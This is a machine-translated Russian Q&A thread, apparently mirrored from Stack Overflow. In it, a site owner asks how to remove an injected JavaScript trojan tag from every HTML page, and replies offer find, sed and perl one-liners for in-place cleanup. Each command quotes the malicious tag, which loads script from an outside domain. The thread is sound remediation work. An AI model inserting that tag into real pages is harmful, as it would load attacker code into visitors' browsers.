Проблема форматирования поиска с выводом sed - PullRequest
0 голосов
/ 01 июля 2010

Привет! Я пытаюсь очистить сайт от js-трояна для клиента, он добавил:

<script src='http://nt02.co.in/3'></script> ко всем html-страницам.

Поскольку его слишком многофайлы для ручной очистки я попытался найти вот так:

find ./ -type f -exec sed -e "s\<script src='http://nt02.co.in/3'></script>\ \g" {} > {} \;

Проблема в том, что вы не можете выводить на вход с помощью sed.Поэтому я попытался сделать что-то вроде:

find ./ -type f ! -iname "*.new" -exec sed -e "s\<script src='http://nt02.co.in/3'></script>\ \g" {} > {}.new \;

тоже не сработало, выдает файл с именем "{} .new" ...

Anyсоветы о том, как сделать это правильно?Или другое решение о том, как это убрать?

Ответы [ 4 ]

1 голос
/ 01 июля 2010

Я думаю, вы делаете вещи более сложными, чем они должны быть. В частности, вы хотите использовать флаг -i, который позволяет вам редактировать файл в нужном месте. Вы можете захотеть что-то вроде

sed -i '/<script src='http:\/\/nt02.co.in\/3'><\/script>/ d' *.html

или используйте скрипт, если вам удобнее, что-то вроде

for f in "dir/*.html"  
do 
    sed -i '/<script src='http:\/\/nt02.co.in\/3'><\/script>/ d' $f  
done

См. http://www.cyberciti.biz/faq/unix-linux-replace-string-words-in-many-files/

0 голосов
/ 05 июля 2010

Спасибо за ваши ответы!Я сделал так:

while read f
do
    sed -i "s#<script src='http://nt02.co.in/3'></script># #g" "$f"
done < list

список - это файл, содержащий пути к файлам, сгенерированный так:

grep -irl "<script src='http://nt02.co.in/3'></script>" ./folder/ > list
0 голосов
/ 01 июля 2010

Это может быть не совсем понятно из ответа @ user379118, но флаг -i (или --in-place) позволяет вам выполнять редактирование на месте с помощью sed, дополнительно позволяя вам создать копию Оригинальный файл на ходу, на всякий случай.

0 голосов
/ 01 июля 2010

Не проверено:

find . -type f -print0 | xargs -0 perl -i.nt02 -pe "s#<script src='http://nt02.co.in/3'></script># #g"
...